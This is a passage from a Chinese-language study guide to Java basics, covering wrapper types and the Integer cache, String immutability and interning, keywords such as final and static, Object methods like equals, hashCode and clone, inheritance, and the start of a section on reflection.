- [Primitive Data Types](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)
- [The Java® Virtual Machine Specification](https://docs.oracle.com/javase/specs/jvms/se8/jvms8.pdf)
### 包装类型
基本类型都有对应的包装类型，基本类型与其对应的包装类型之间的赋值使用自动装箱与拆箱完成。
```java
Integer x = 2; // 装箱 调用了 Integer.valueOf(2)
int y = x; // 拆箱 调用了 X.intValue()
```
- [Autoboxing and Unboxing](https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html)
### 缓存池
new Integer(123) 与 Integer.valueOf(123) 的区别在于：
- new Integer(123) 每次都会新建一个对象；
- Integer.valueOf(123) 会使用缓存池中的对象，多次调用会取得同一个对象的引用。
```java
Integer x = new Integer(123);
Integer y = new Integer(123);
System.out.println(x == y); // false
Integer z = Integer.valueOf(123);
Integer k = Integer.valueOf(123);
System.out.println(z == k); // true
```
valueOf() 方法的实现比较简单，就是先判断值是否在缓存池中，如果在的话就直接返回缓存池的内容。
```java
public static Integer valueOf(int i) {
if (i >= IntegerCache.low && i <= IntegerCache.high)
return IntegerCache.cache[i + (-IntegerCache.low)];
return new Integer(i);
}
```
在 Java 8 中，Integer 缓存池的大小默认为 -128\~127。
```java
static final int low = -128;
static final int high;
static final Integer cache[];
static {
// high value may be configured by property
int h = 127;
String integerCacheHighPropValue =
sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
if (integerCacheHighPropValue != null) {
try {
int i = parseInt(integerCacheHighPropValue);
i = Math.max(i, 127);
// Maximum array size is Integer.MAX_VALUE
h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
} catch( NumberFormatException nfe) {
// If the property cannot be parsed into an int, ignore it.
}
}
high = h;
cache = new Integer[(high - low) + 1];
int j = low;
for(int k = 0; k < cache.length; k++)
cache[k] = new Integer(j++);
// range [-128, 127] must be interned (JLS7 5.1.7)
assert IntegerCache.high >= 127;
}
```
编译器会在自动装箱过程调用 valueOf() 方法，因此多个值相同且值在缓存池范围内的 Integer 实例使用自动装箱来创建，那么就会引用相同的对象。
```java
Integer m = 123;
Integer n = 123;
System.out.println(m == n); // true
```
基本类型对应的缓冲池如下：
- boolean values true and false
- all byte values
- short values between -128 and 127
- int values between -128 and 127
- char in the range \u0000 to \u007F
在使用这些基本类型对应的包装类型时，如果该数值范围在缓冲池范围内，就可以直接使用缓冲池中的对象。
在 jdk 1.8 所有的数值类缓冲池中，Integer 的缓冲池 IntegerCache 很特殊，这个缓冲池的下界是 - 128，上界默认是 127，但是这个上界是可调的，在启动 jvm 的时候，通过 -XX:AutoBoxCacheMax=<size> 来指定这个缓冲池的大小，该选项在 JVM 初始化的时候会设定一个名为 java.lang.IntegerCache.high 系统属性，然后 IntegerCache 初始化的时候就会读取该系统属性来决定上界。
[StackOverflow : Differences between new Integer(123), Integer.valueOf(123) and just 123
](https://stackoverflow.com/questions/9030817/differences-between-new-integer123-integer-valueof123-and-just-123)
## 二、String
### 概览
String 被声明为 final，因此它不可被继承。(Integer 等包装类也不能被继承）
在 Java 8 中，String 内部使用 char 数组存储数据。
```java
public final class String
implements java.io.Serializable, Comparable<String>, CharSequence {
/** The value is used for character storage. */
private final char value[];
}
```
在 Java 9 之后，String 类的实现改用 byte 数组存储字符串，同时使用 `coder` 来标识使用了哪种编码。
```java
public final class String
implements java.io.Serializable, Comparable<String>, CharSequence {
/** The value is used for character storage. */
private final byte[] value;
/** The identifier of the encoding used to encode the bytes in {@code value}. */
private final byte coder;
}
```
value 数组被声明为 final，这意味着 value 数组初始化之后就不能再引用其它数组。并且 String 内部没有改变 value 数组的方法，因此可以保证 String 不可变。
### 不可变的好处
**1. 可以缓存 hash 值**
因为 String 的 hash 值经常被使用，例如 String 用做 HashMap 的 key。不可变的特性可以使得 hash 值也不可变，因此只需要进行一次计算。
**2. String Pool 的需要**
如果一个 String 对象已经被创建过了，那么就会从 String Pool 中取得引用。只有 String 是不可变的，才可能使用 String Pool。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191210004132894.png"/> </div><br>
**3. 安全性**
String 经常作为参数，String 不可变性可以保证参数不可变。例如在作为网络连接参数的情况下如果 String 是可变的，那么在网络连接过程中，String 被改变，改变 String 的那一方以为现在连接的是其它主机，而实际情况却不一定是。
**4. 线程安全**
String 不可变性天生具备线程安全，可以在多个线程中安全地使用。
[Program Creek : Why String is immutable in Java?](https://www.programcreek.com/2013/04/why-string-is-immutable-in-java/)
### String, StringBuffer and StringBuilder
**1. 可变性**
- String 不可变
- StringBuffer 和 StringBuilder 可变
**2. 线程安全**
- String 不可变，因此是线程安全的
- StringBuilder 不是线程安全的
- StringBuffer 是线程安全的，内部使用 synchronized 进行同步
[StackOverflow : String, StringBuffer, and StringBuilder](https://stackoverflow.com/questions/2971315/string-stringbuffer-and-stringbuilder)
### String Pool
字符串常量池（String Pool）保存着所有字符串字面量（literal strings），这些字面量在编译时期就确定。不仅如此，还可以使用 String 的 intern() 方法在运行过程将字符串添加到 String Pool 中。
当一个字符串调用 intern() 方法时，如果 String Pool 中已经存在一个字符串和该字符串值相等（使用 equals() 方法进行确定），那么就会返回 String Pool 中字符串的引用；否则，就会在 String Pool 中添加一个新的字符串，并返回这个新字符串的引用。
下面示例中，s1 和 s2 采用 new String() 的方式新建了两个不同字符串，而 s3 和 s4 是通过 s1.intern() 和 s2.intern() 方法取得同一个字符串引用。intern() 首先把 "aaa" 放到 String Pool 中，然后返回这个字符串引用，因此 s3 和 s4 引用的是同一个字符串。
```java
String s1 = new String("aaa");
String s2 = new String("aaa");
System.out.println(s1 == s2); // false
String s3 = s1.intern();
String s4 = s2.intern();
System.out.println(s3 == s4); // true
```
如果是采用 "bbb" 这种字面量的形式创建字符串，会自动地将字符串放入 String Pool 中。
```java
String s5 = "bbb";
String s6 = "bbb";
System.out.println(s5 == s6); // true
```
在 Java 7 之前，String Pool 被放在运行时常量池中，它属于永久代。而在 Java 7，String Pool 被移到堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
- [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning)
- [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
### new String("abc")
使用这种方式一共会创建两个字符串对象（前提是 String Pool 中还没有 "abc" 字符串对象）。
- "abc" 属于字符串字面量，因此编译时期会在 String Pool 中创建一个字符串对象，指向这个 "abc" 字符串字面量；
- 而使用 new 的方式会在堆中创建一个字符串对象。
创建一个测试类，其 main 方法中使用这种方式来创建字符串对象。
```java
public class NewStringTest {
public static void main(String[] args) {
String s = new String("abc");
}
}
```
使用 javap -verbose 进行反编译，得到以下内容：
```java
// ...
Constant pool:
// ...
#2 = Class #18 // java/lang/String
#3 = String #19 // abc
// ...
#18 = Utf8 java/lang/String
#19 = Utf8 abc
// ...
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=3, locals=2, args_size=1
0: new #2 // class java/lang/String
3: dup
4: ldc #3 // String abc
6: invokespecial #4 // Method java/lang/String."<init>":(Ljava/lang/String;)V
9: astore_1
// ...
```
在 Constant Pool 中，#19 存储这字符串字面量 "abc"，#3 是 String Pool 的字符串对象，它指向 #19 这个字符串字面量。在 main 方法中，0: 行使用 new #2 在堆中创建一个字符串对象，并且使用 ldc #3 将 String Pool 中的字符串对象作为 String 构造函数的参数。
以下是 String 构造函数的源码，可以看到，在将一个字符串对象作为另一个字符串对象的构造函数参数时，并不会完全复制 value 数组内容，而是都会指向同一个 value 数组。
```java
public String(String original) {
this.value = original.value;
this.hash = original.hash;
}
```
## 三、运算
### 参数传递
Java 的参数是以值传递的形式传入方法中，而不是引用传递。
以下代码中 Dog dog 的 dog 是一个指针，存储的是对象的地址。在将一个参数传入一个方法时，本质上是将对象的地址以值的方式传递到形参中。
```java
public class Dog {
String name;
Dog(String name) {
this.name = name;
}
String getName() {
return this.name;
}
void setName(String name) {
this.name = name;
}
String getObjectAddress() {
return super.toString();
}
}
```
在方法中改变对象的字段值会改变原对象该字段值，因为引用的是同一个对象。
```java
class PassByValueExample {
public static void main(String[] args) {
Dog dog = new Dog("A");
func(dog);
System.out.println(dog.getName()); // B
}
private static void func(Dog dog) {
dog.setName("B");
}
}
```
但是在方法中将指针引用了其它对象，那么此时方法里和方法外的两个指针指向了不同的对象，在一个指针改变其所指向对象的内容对另一个指针所指向的对象没有影响。
```java
public class PassByValueExample {
public static void main(String[] args) {
Dog dog = new Dog("A");
System.out.println(dog.getObjectAddress()); // Dog@4554617c
func(dog);
System.out.println(dog.getObjectAddress()); // Dog@4554617c
System.out.println(dog.getName()); // A
}
private static void func(Dog dog) {
System.out.println(dog.getObjectAddress()); // Dog@4554617c
dog = new Dog("B");
System.out.println(dog.getObjectAddress()); // Dog@74a14482
System.out.println(dog.getName()); // B
}
}
```
[StackOverflow: Is Java “pass-by-reference” or “pass-by-value”?](https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value)
### float 与 double
Java 不能隐式执行向下转型，因为这会使得精度降低。
1.1 字面量属于 double 类型，不能直接将 1.1 直接赋值给 float 变量，因为这是向下转型。
```java
// float f = 1.1;
```
1.1f 字面量才是 float 类型。
```java
float f = 1.1f;
```
### 隐式类型转换
因为字面量 1 是 int 类型，它比 short 类型精度要高，因此不能隐式地将 int 类型向下转型为 short 类型。
```java
short s1 = 1;
// s1 = s1 + 1;
```
但是使用 += 或者 ++ 运算符会执行隐式类型转换。
```java
s1 += 1;
s1++;
```
上面的语句相当于将 s1 + 1 的计算结果进行了向下转型：
```java
s1 = (short) (s1 + 1);
```
[StackOverflow : Why don't Java's +=, -=, *=, /= compound assignment operators require casting?](https://stackoverflow.com/questions/8710619/why-dont-javas-compound-assignment-operators-require-casting)
### switch
从 Java 7 开始，可以在 switch 条件判断语句中使用 String 对象。
```java
String s = "a";
switch (s) {
case "a":
System.out.println("aaa");
break;
case "b":
System.out.println("bbb");
break;
}
```
switch 不支持 long、float、double，是因为 switch 的设计初衷是对那些只有少数几个值的类型进行等值判断，如果值过于复杂，那么还是用 if 比较合适。
```java
// long x = 111;
// switch (x) { // Incompatible types. Found: 'long', required: 'char, byte, short, int, Character, Byte, Short, Integer, String, or an enum'
// case 111:
// System.out.println(111);
// break;
// case 222:
// System.out.println(222);
// break;
// }
```
[StackOverflow : Why can't your switch statement data type be long, Java?](https://stackoverflow.com/questions/2676210/why-cant-your-switch-statement-data-type-be-long-java)
## 四、关键字
### final
**1. 数据**
声明数据为常量，可以是编译时常量，也可以是在运行时被初始化后不能被改变的常量。
- 对于基本类型，final 使数值不变；
- 对于引用类型，final 使引用不变，也就不能引用其它对象，但是被引用的对象本身是可以修改的。
```java
final int x = 1;
// x = 2; // cannot assign value to final variable 'x'
final A y = new A();
y.a = 1;
```
**2. 方法**
声明方法不能被子类重写。
private 方法隐式地被指定为 final，如果在子类中定义的方法和基类中的一个 private 方法签名相同，此时子类的方法不是重写基类方法，而是在子类中定义了一个新的方法。
**3. 类**
声明类不允许被继承。
### static
**1. 静态变量**
- 静态变量：又称为类变量，也就是说这个变量属于类的，类所有的实例都共享静态变量，可以直接通过类名来访问它。静态变量在内存中只存在一份。
- 实例变量：每创建一个实例就会产生一个实例变量，它与该实例同生共死。
```java
public class A {
private int x; // 实例变量
private static int y; // 静态变量
public static void main(String[] args) {
// int x = A.x; // Non-static field 'x' cannot be referenced from a static context
A a = new A();
int x = a.x;
int y = A.y;
}
}
```
**2. 静态方法**
静态方法在类加载的时候就存在了，它不依赖于任何实例。所以静态方法必须有实现，也就是说它不能是抽象方法。
```java
public abstract class A {
public static void func1(){
}
// public abstract static void func2(); // Illegal combination of modifiers: 'abstract' and 'static'
}
```
只能访问所属类的静态字段和静态方法，方法中不能有 this 和 super 关键字，因为这两个关键字与具体对象关联。
```java
public class A {
private static int x;
private int y;
public static void func1(){
int a = x;
// int b = y; // Non-static field 'y' cannot be referenced from a static context
// int b = this.y; // 'A.this' cannot be referenced from a static context
}
}
```
**3. 静态语句块**
静态语句块在类初始化时运行一次。
```java
public class A {
static {
System.out.println("123");
}
public static void main(String[] args) {
A a1 = new A();
A a2 = new A();
}
}
```
```html
123
```
**4. 静态内部类**
非静态内部类依赖于外部类的实例，也就是说需要先创建外部类实例，才能用这个实例去创建非静态内部类。而静态内部类不需要。
```java
public class OuterClass {
class InnerClass {
}
static class StaticInnerClass {
}
public static void main(String[] args) {
// InnerClass innerClass = new InnerClass(); // 'OuterClass.this' cannot be referenced from a static context
OuterClass outerClass = new OuterClass();
InnerClass innerClass = outerClass.new InnerClass();
StaticInnerClass staticInnerClass = new StaticInnerClass();
}
}
```
静态内部类不能访问外部类的非静态的变量和方法。
**5. 静态导包**
在使用静态变量和方法时不用再指明 ClassName，从而简化代码，但可读性大大降低。
```java
import static com.xxx.ClassName.*
```
**6. 初始化顺序**
静态变量和静态语句块优先于实例变量和普通语句块，静态变量和静态语句块的初始化顺序取决于它们在代码中的顺序。
```java
public static String staticField = "静态变量";
```
```java
static {
System.out.println("静态语句块");
}
```
```java
public String field = "实例变量";
```
```java
{
System.out.println("普通语句块");
}
```
最后才是构造函数的初始化。
```java
public InitialOrderTest() {
System.out.println("构造函数");
}
```
存在继承的情况下，初始化顺序为：
- 父类（静态变量、静态语句块）
- 子类（静态变量、静态语句块）
- 父类（实例变量、普通语句块）
- 父类（构造函数）
- 子类（实例变量、普通语句块）
- 子类（构造函数）
## 五、Object 通用方法
### 概览
```java
public native int hashCode()
public boolean equals(Object obj)
protected native Object clone() throws CloneNotSupportedException
public String toString()
public final native Class<?> getClass()
protected void finalize() throws Throwable {}
public final native void notify()
public final native void notifyAll()
public final native void wait(long timeout) throws InterruptedException
public final void wait(long timeout, int nanos) throws InterruptedException
public final void wait() throws InterruptedException
```
### equals()
**1. 等价关系**
两个对象具有等价关系，需要满足以下五个条件：
Ⅰ 自反性
```java
x.equals(x); // true
```
Ⅱ 对称性
```java
x.equals(y) == y.equals(x); // true
```
Ⅲ 传递性
```java
if (x.equals(y) && y.equals(z))
x.equals(z); // true;
```
Ⅳ 一致性
多次调用 equals() 方法结果不变
```java
x.equals(y) == x.equals(y); // true
```
Ⅴ 与 null 的比较
对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
```java
x.equals(null); // false;
```
**2. 等价与相等**
- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
- 对于引用类型，== 判断两个变量是否引用同一个对象，而 equals() 判断引用的对象是否等价。
```java
Integer x = new Integer(1);
Integer y = new Integer(1);
System.out.println(x.equals(y)); // true
System.out.println(x == y); // false
```
**3. 实现**
- 检查是否为同一个对象的引用，如果是直接返回 true；
- 检查是否是同一个类型，如果不是，直接返回 false；
- 将 Object 对象进行转型；
- 判断每个关键域是否相等。
```java
public class EqualExample {
private int x;
private int y;
private int z;
public EqualExample(int x, int y, int z) {
this.x = x;
this.y = y;
this.z = z;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
EqualExample that = (EqualExample) o;
if (x != that.x) return false;
if (y != that.y) return false;
return z == that.z;
}
}
```
### hashCode()
hashCode() 返回哈希值，而 equals() 是用来判断两个对象是否等价。等价的两个对象散列值一定相同，但是散列值相同的两个对象不一定等价，这是因为计算哈希值具有随机性，两个值不同的对象可能计算出相同的哈希值。
在覆盖 equals() 方法时应当总是覆盖 hashCode() 方法，保证等价的两个对象哈希值也相等。
HashSet 和 HashMap 等集合类使用了 hashCode() 方法来计算对象应该存储的位置，因此要将对象添加到这些集合类中，需要让对应的类实现 hashCode() 方法。
下面的代码中，新建了两个等价的对象，并将它们添加到 HashSet 中。我们希望将这两个对象当成一样的，只在集合中添加一个对象。但是 EqualExample 没有实现 hashCode() 方法，因此这两个对象的哈希值是不同的，最终导致集合添加了两个等价的对象。
```java
EqualExample e1 = new EqualExample(1, 1, 1);
EqualExample e2 = new EqualExample(1, 1, 1);
System.out.println(e1.equals(e2)); // true
HashSet<EqualExample> set = new HashSet<>();
set.add(e1);
set.add(e2);
System.out.println(set.size()); // 2
```
理想的哈希函数应当具有均匀性，即不相等的对象应当均匀分布到所有可能的哈希值上。这就要求了哈希函数要把所有域的值都考虑进来。可以将每个域都当成 R 进制的某一位，然后组成一个 R 进制的整数。
R 一般取 31，因为它是一个奇素数，如果是偶数的话，当出现乘法溢出，信息就会丢失，因为与 2 相乘相当于向左移一位，最左边的位丢失。并且一个数与 31 相乘可以转换成移位和减法：`31*x == (x<<5)-x`，编译器会自动进行这个优化。
```java
@Override
public int hashCode() {
int result = 17;
result = 31 * result + x;
result = 31 * result + y;
result = 31 * result + z;
return result;
}
```
### toString()
默认返回 ToStringExample@4554617c 这种形式，其中 @ 后面的数值为散列码的无符号十六进制表示。
```java
public class ToStringExample {
private int number;
public ToStringExample(int number) {
this.number = number;
}
}
```
```java
ToStringExample example = new ToStringExample(123);
System.out.println(example.toString());
```
```html
ToStringExample@4554617c
```
### clone()
**1. cloneable**
clone() 是 Object 的 protected 方法，它不是 public，一个类不显式去重写 clone()，其它类就不能直接去调用该类实例的 clone() 方法。
```java
public class CloneExample {
private int a;
private int b;
}
```
```java
CloneExample e1 = new CloneExample();
// CloneExample e2 = e1.clone(); // 'clone()' has protected access in 'java.lang.Object'
```
重写 clone() 得到以下实现：
```java
public class CloneExample {
private int a;
private int b;
@Override
public CloneExample clone() throws CloneNotSupportedException {
return (CloneExample)super.clone();
}
}
```
```java
CloneExample e1 = new CloneExample();
try {
CloneExample e2 = e1.clone();
} catch (CloneNotSupportedException e) {
e.printStackTrace();
}
```
```html
java.lang.CloneNotSupportedException: CloneExample
```
以上抛出了 CloneNotSupportedException，这是因为 CloneExample 没有实现 Cloneable 接口。
应该注意的是，clone() 方法并不是 Cloneable 接口的方法，而是 Object 的一个 protected 方法。Cloneable 接口只是规定，如果一个类没有实现 Cloneable 接口又调用了 clone() 方法，就会抛出 CloneNotSupportedException。
```java
public class CloneExample implements Cloneable {
private int a;
private int b;
@Override
public Object clone() throws CloneNotSupportedException {
return super.clone();
}
}
```
**2. 浅拷贝**
拷贝对象和原始对象的引用类型引用同一个对象。
```java
public class ShallowCloneExample implements Cloneable {
private int[] arr;
public ShallowCloneExample() {
arr = new int[10];
for (int i = 0; i < arr.length; i++) {
arr[i] = i;
}
}
public void set(int index, int value) {
arr[index] = value;
}
public int get(int index) {
return arr[index];
}
@Override
protected ShallowCloneExample clone() throws CloneNotSupportedException {
return (ShallowCloneExample) super.clone();
}
}
```
```java
ShallowCloneExample e1 = new ShallowCloneExample();
ShallowCloneExample e2 = null;
try {
e2 = e1.clone();
} catch (CloneNotSupportedException e) {
e.printStackTrace();
}
e1.set(2, 222);
System.out.println(e2.get(2)); // 222
```
**3. 深拷贝**
拷贝对象和原始对象的引用类型引用不同对象。
```java
public class DeepCloneExample implements Cloneable {
private int[] arr;
public DeepCloneExample() {
arr = new int[10];
for (int i = 0; i < arr.length; i++) {
arr[i] = i;
}
}
public void set(int index, int value) {
arr[index] = value;
}
public int get(int index) {
return arr[index];
}
@Override
protected DeepCloneExample clone() throws CloneNotSupportedException {
DeepCloneExample result = (DeepCloneExample) super.clone();
result.arr = new int[arr.length];
for (int i = 0; i < arr.length; i++) {
result.arr[i] = arr[i];
}
return result;
}
}
```
```java
DeepCloneExample e1 = new DeepCloneExample();
DeepCloneExample e2 = null;
try {
e2 = e1.clone();
} catch (CloneNotSupportedException e) {
e.printStackTrace();
}
e1.set(2, 222);
System.out.println(e2.get(2)); // 2
```
**4. clone() 的替代方案**
使用 clone() 方法来拷贝一个对象即复杂又有风险，它会抛出异常，并且还需要类型转换。Effective Java 书上讲到，最好不要去使用 clone()，可以使用拷贝构造函数或者拷贝工厂来拷贝一个对象。
```java
public class CloneConstructorExample {
private int[] arr;
public CloneConstructorExample() {
arr = new int[10];
for (int i = 0; i < arr.length; i++) {
arr[i] = i;
}
}
public CloneConstructorExample(CloneConstructorExample original) {
arr = new int[original.arr.length];
for (int i = 0; i < original.arr.length; i++) {
arr[i] = original.arr[i];
}
}
public void set(int index, int value) {
arr[index] = value;
}
public int get(int index) {
return arr[index];
}
}
```
```java
CloneConstructorExample e1 = new CloneConstructorExample();
CloneConstructorExample e2 = new CloneConstructorExample(e1);
e1.set(2, 222);
System.out.println(e2.get(2)); // 2
```
## 六、继承
### 访问权限
Java 中有三个访问权限修饰符：private、protected 以及 public，如果不加访问修饰符，表示包级可见。
可以对类或类中的成员（字段和方法）加上访问修饰符。
- 类可见表示其它类可以用这个类创建实例对象。
- 成员可见表示其它类可以用这个类的实例对象访问到该成员；
protected 用于修饰成员，表示在继承体系中成员对于子类可见，但是这个访问修饰符对于类没有意义。
设计良好的模块会隐藏所有的实现细节，把它的 API 与它的实现清晰地隔离开来。模块之间只通过它们的 API 进行通信，一个模块不需要知道其他模块的内部工作情况，这个概念被称为信息隐藏或封装。因此访问权限应当尽可能地使每个类或者成员不被外界访问。
如果子类的方法重写了父类的方法，那么子类中该方法的访问级别不允许低于父类的访问级别。这是为了确保可以使用父类实例的地方都可以使用子类实例去代替，也就是确保满足里氏替换原则。
字段决不能是公有的，因为这么做的话就失去了对这个字段修改行为的控制，客户端可以对其随意修改。例如下面的例子中，AccessExample 拥有 id 公有字段，如果在某个时刻，我们想要使用 int 存储 id 字段，那么就需要修改所有的客户端代码。
```java
public class AccessExample {
public String id;
}
```
可以使用公有的 getter 和 setter 方法来替换公有字段，这样的话就可以控制对字段的修改行为。
```java
public class AccessExample {
private int id;
public String getId() {
return id + "";
}
public void setId(String id) {
this.id = Integer.valueOf(id);
}
}
```
但是也有例外，如果是包级私有的类或者私有的嵌套类，那么直接暴露成员不会有特别大的影响。
```java
public class AccessWithInnerClassExample {
private class InnerClass {
int x;
}
private InnerClass innerClass;
public AccessWithInnerClassExample() {
innerClass = new InnerClass();
}
public int getValue() {
return innerClass.x; // 直接访问
}
}
```
### 抽象类与接口
**1. 抽象类**
抽象类和抽象方法都使用 abstract 关键字进行声明。如果一个类中包含抽象方法，那么这个类必须声明为抽象类。
抽象类和普通类最大的区别是，抽象类不能被实例化，只能被继承。
```java
public abstract class AbstractClassExample {
protected int x;
private int y;
public abstract void func1();
public void func2() {
System.out.println("func2");
}
}
```
```java
public class AbstractExtendClassExample extends AbstractClassExample {
@Override
public void func1() {
System.out.println("func1");
}
}
```
```java
// AbstractClassExample ac1 = new AbstractClassExample(); // 'AbstractClassExample' is abstract; cannot be instantiated
AbstractClassExample ac2 = new AbstractExtendClassExample();
ac2.func1();
```
**2. 接口**
接口是抽象类的延伸，在 Java 8 之前，它可以看成是一个完全抽象的类，也就是说它不能有任何的方法实现。
从 Java 8 开始，接口也可以拥有默认的方法实现，这是因为不支持默认方法的接口的维护成本太高了。在 Java 8 之前，如果一个接口想要添加新的方法，那么要修改所有实现了该接口的类，让它们都实现新增的方法。
接口的成员（字段 + 方法）默认都是 public 的，并且不允许定义为 private 或者 protected。从 Java 9 开始，允许将方法定义为 private，这样就能定义某些复用的代码又不会把方法暴露出去。
接口的字段默认都是 static 和 final 的。
```java
public interface InterfaceExample {
void func1();
default void func2(){
System.out.println("func2");
}
int x = 123;
// int y; // Variable 'y' might not have been initialized
public int z = 0; // Modifier 'public' is redundant for interface fields
// private int k = 0; // Modifier 'private' not allowed here
// protected int l = 0; // Modifier 'protected' not allowed here
// private void fun3(); // Modifier 'private' not allowed here
}
```
```java
public class InterfaceImplementExample implements InterfaceExample {
@Override
public void func1() {
System.out.println("func1");
}
}
```
```java
// InterfaceExample ie1 = new InterfaceExample(); // 'InterfaceExample' is abstract; cannot be instantiated
InterfaceExample ie2 = new InterfaceImplementExample();
ie2.func1();
System.out.println(InterfaceExample.x);
```
**3. 比较**
- 从设计层面上看，抽象类提供了一种 IS-A 关系，需要满足里式替换原则，即子类对象必须能够替换掉所有父类对象。而接口更像是一种 LIKE-A 关系，它只是提供一种方法实现契约，并不要求接口和实现接口的类具有 IS-A 关系。
- 从使用上来看，一个类可以实现多个接口，但是不能继承多个抽象类。
- 接口的字段只能是 static 和 final 类型的，而抽象类的字段没有这种限制。
- 接口的成员只能是 public 的，而抽象类的成员可以有多种访问权限。
**4. 使用选择**
使用接口：
- 需要让不相关的类都实现一个方法，例如不相关的类都可以实现 Comparable 接口中的 compareTo() 方法；
- 需要使用多重继承。
使用抽象类：
- 需要在几个相关的类中共享代码。
- 需要能控制继承来的成员的访问权限，而不是都为 public。
- 需要继承非静态和非常量字段。
在很多情况下，接口优先于抽象类。因为接口没有抽象类严格的类层次结构要求，可以灵活地为一个类添加行为。并且从 Java 8 开始，接口也可以有默认的方法实现，使得修改接口的成本也变的很低。
- [Abstract Methods and Classes](https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html)
- [深入理解 abstract class 和 interface](https://www.ibm.com/developerworks/cn/java/l-javainterface-abstract/)
- [When to Use Abstract Class and Interface](https://dzone.com/articles/when-to-use-abstract-class-and-intreface)
- [Java 9 Private Methods in Interfaces](https://www.journaldev.com/12850/java-9-private-methods-interfaces)
### super
- 访问父类的构造函数：可以使用 super() 函数访问父类的构造函数，从而委托父类完成一些初始化的工作。应该注意到，子类一定会调用父类的构造函数来完成初始化工作，一般是调用父类的默认构造函数，如果子类需要调用父类其它构造函数，那么就可以使用 super() 函数。
- 访问父类的成员：如果子类重写了父类的某个方法，可以通过使用 super 关键字来引用父类的方法实现。
```java
public class SuperExample {
protected int x;
protected int y;
public SuperExample(int x, int y) {
this.x = x;
this.y = y;
}
public void func() {
System.out.println("SuperExample.func()");
}
}
```
```java
public class SuperExtendExample extends SuperExample {
private int z;
public SuperExtendExample(int x, int y, int z) {
super(x, y);
this.z = z;
}
@Override
public void func() {
super.func();
System.out.println("SuperExtendExample.func()");
}
}
```
```java
SuperExample e = new SuperExtendExample(1, 2, 3);
e.func();
```
```html
SuperExample.func()
SuperExtendExample.func()
```
[Using the Keyword super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html)
### 重写与重载
**1. 重写（Override）**
存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法。
为了满足里式替换原则，重写有以下三个限制：
- 子类方法的访问权限必须大于等于父类方法；
- 子类方法的返回类型必须是父类方法返回类型或为其子类型。
- 子类方法抛出的异常类型必须是父类抛出异常类型或为其子类型。
使用 @Override 注解，可以让编译器帮忙检查是否满足上面的三个限制条件。
下面的示例中，SubClass 为 SuperClass 的子类，SubClass 重写了 SuperClass 的 func() 方法。其中：
- 子类方法访问权限为 public，大于父类的 protected。
- 子类的返回类型为 ArrayList\<Integer\>，是父类返回类型 List\<Integer\> 的子类。
- 子类抛出的异常类型为 Exception，是父类抛出异常 Throwable 的子类。
- 子类重写方法使用 @Override 注解，从而让编译器自动检查是否满足限制条件。
```java
class SuperClass {
protected List<Integer> func() throws Throwable {
return new ArrayList<>();
}
}
class SubClass extends SuperClass {
@Override
public ArrayList<Integer> func() throws Exception {
return new ArrayList<>();
}
}
```
在调用一个方法时，先从本类中查找看是否有对应的方法，如果没有再到父类中查看，看是否从父类继承来。否则就要对参数进行转型，转成父类之后看是否有对应的方法。总的来说，方法调用的优先级为：
- this.func(this)
- super.func(this)
- this.func(super)
- super.func(super)
```java
/*
A
|
B
|
C
|
D
*/
class A {
public void show(A obj) {
System.out.println("A.show(A)");
}
public void show(C obj) {
System.out.println("A.show(C)");
}
}
class B extends A {
@Override
public void show(A obj) {
System.out.println("B.show(A)");
}
}
class C extends B {
}
class D extends C {
}
```
```java
public static void main(String[] args) {
A a = new A();
B b = new B();
C c = new C();
D d = new D();
// 在 A 中存在 show(A obj)，直接调用
a.show(a); // A.show(A)
// 在 A 中不存在 show(B obj)，将 B 转型成其父类 A
a.show(b); // A.show(A)
// 在 B 中存在从 A 继承来的 show(C obj)，直接调用
b.show(c); // A.show(C)
// 在 B 中不存在 show(D obj)，但是存在从 A 继承来的 show(C obj)，将 D 转型成其父类 C
b.show(d); // A.show(C)
// 引用的还是 B 对象，所以 ba 和 b 的调用结果一样
A ba = new B();
ba.show(c); // A.show(C)
ba.show(d); // A.show(C)
}
```
**2. 重载（Overload）**
存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。
应该注意的是，返回值不同，其它都相同不算是重载。
```java
class OverloadingExample {
public void show(int x) {
System.out.println(x);
}
public void show(int x, String y) {
System.out.println(x + " " + y);
}
}
```
```java
public static void main(String[] args) {
OverloadingExample example = new OverloadingExample();
example.show(1);
example.show(1, "2");
}
```
## 七、反射
每个类都有一个 **Class** 对象，包含了与类有关的信息。当编译一个新类时，会产生一个同名的 .class 文件，该文件内容保存着 Class 对象。
类加载相当于 Class 对象的加载，类在第一次使用时才动态加载到 JVM 中。也可以使用 `Class.forName("com.mysql.jdbc.Driver")` 这种方式来控制类的加载，该方法会返回一个 Class 对象。
反射可以提供运行时的类信息，并且这个类可以在运行时才加载进来，甚至在编译时期该类的 .class 不存在也可以加载进来。
Class 和 java.lang.reflect 一起对反射提供了支持，java.lang.reflect 类库主要包含了以下三个类：
- **Field** ：可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字段；
- **Method** ：可以使用 invoke() 方法调用与 Method 对象关联的方法；
- **Constructor** ：可以用 Constructor 的 newInstance() 创建新的对象。
**反射的优点：**
- **可扩展性** ：应用程序可以利用全限定名创建可扩展对象的实例，来使用来自外部的用户自定义类。
- **类浏览器和可视化开发环境** ：一个类浏览器需要可以枚举类的成员。可视化开发环境（如 IDE）可以从利用反射中可用的类型信息中受益，以帮助程序员编写正确的代码。
